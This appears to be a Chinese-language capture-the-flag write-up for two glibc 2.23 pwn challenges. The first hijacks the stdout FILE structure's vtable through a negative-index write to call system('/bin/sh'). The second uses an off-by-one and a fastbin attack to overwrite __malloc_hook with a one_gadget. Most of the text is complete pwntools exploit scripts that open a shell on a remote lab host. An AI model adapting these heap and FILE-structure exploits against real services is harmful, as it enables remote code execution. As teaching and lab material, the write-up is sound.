PWN_1:
IO_FILE_plus各种偏移:
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
//IO_FILE_complete
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
输入负数溢出(A0-20)/8
(qword 8bytes)可以反向溢出至stdout
指针处,可以借此控制_IO_2_1_stdout
结构体,进而修改结构体中成员,修改_flags
为/bin/sh\x00
字符串
vtable
为&_IO_2_1_stdout+0x10
_IO_save_base
为system
地址
_lock
(&_IO_2_1_stdout+0x88处)值保持不变(固定偏移)
puts->vtable->_IO_2_1_stdout+0x10(原 _IO_new_file_xsputn偏移为0x38,修改后实际调用+0x48,即_IO_save_base)->system(_IO_save_base)<-"/bin/sh\x00"(原_flags字段做参数)
2.23有效,以上无效
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./nsctf_online_2019_pwn1")
io=remote("node4.buuoj.cn", 27333)
elf=ELF("./nsctf_online_2019_pwn1")
libc=ELF("./libc-2.23.so")
def add(n,cc):
io.sendlineafter(b"exit\n",b"1")
io.sendlineafter(b"size:\n",str(n))
io.sendafter(b"content:\n",cc)
def delete(n):
io.sendlineafter(b"exit\n",b"2")
io.sendafter(b"index:\n",str(n))
def edit(n,s,cc):
io.sendlineafter(b"exit\n",b"4")
io.sendlineafter(b"index:\n",str(n))
io.sendlineafter(b"size:\n",str(s))
io.sendafter(b"content:\n",cc)
# gdb.attach(io)
# pause()
add(0x100,b"aaa")
payload=p64(0xfbad1887)+p64(0)*3+b"\x00"
edit(-0x10,len(payload),payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("leak_addr: "+hex(leak_addr))
libc_base=leak_addr-libc.sym[b"_IO_file_jumps"]
print("libc_base: "+hex(libc_base))
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
shell=one_gadget[1]+libc_base
sys_addr=libc.sym[b"system"]+libc_base
_IO_2_1_stdout=leak_addr+0x1f40
fs=FileStructure()
fs.flags=b"/bin/sh\x00"
fs.vtable=p64(_IO_2_1_stdout+0x10)
fs._IO_save_base=p64(sys_addr)
fs._lock=p64(libc_base+0x3c6780)
edit(-0x10,len(fs),bytes(fs))
io.interactive()
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
PWN_2:
一道fastbin attack打one_gadget,realloc
调偏移
delete操作每次指针置空,但是有update函数off by one可以修改指针低位,可以指向任意堆块进行操作
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.buuoj.cn",29081)
# io=process("./nsctf_online_2019_pwn2")
elf=ELF("./nsctf_online_2019_pwn2")
libc=ELF("./libc-2.23.so")
def pre(cc):
io.recvuntil(b"name\n")
io.send(cc)
def add(s):
io.sendlineafter(b"exit\n",b"1")
io.sendlineafter(b"size\n",str(s))
def delete():
io.sendlineafter(b"exit\n", b"2")
def show():
io.sendlineafter(b"exit\n", b"3")
def update(cc):
io.sendlineafter(b"exit\n", b"4")
io.sendafter(b"name\n",cc)
def edit(cc):
io.sendlineafter(b"exit\n", b"5")
io.sendafter(b"note\n",cc)
# gdb.attach(io)
# pause()
pre(cyclic(0x30))
add(0x90)
add(0x30)
update(cyclic(0x30)+b"\x10")
delete()
add(0x20)
# edit(cyclic(0x18)+p64(0x10))
update(cyclic(0x30)+b"\x40")
show()
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x68-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
realloc=libc.sym[b"__libc_realloc"]+leak_addr
malloc_hook=libc.sym[b"__malloc_hook"]+leak_addr
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
shell=one_gadget[1]+leak_addr
add(0x60)
delete()
add(0x10)
update(cyclic(0x30)+b"\x40")
edit(p64(malloc_hook-0x23))
add(0x60)
add(0x60)
edit(cyclic(0xb)+p64(shell)+p64(realloc+0x10))
# gdb.attach(io)
# pause()
add(0x10)
# add(0x10)
io.interactive()
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL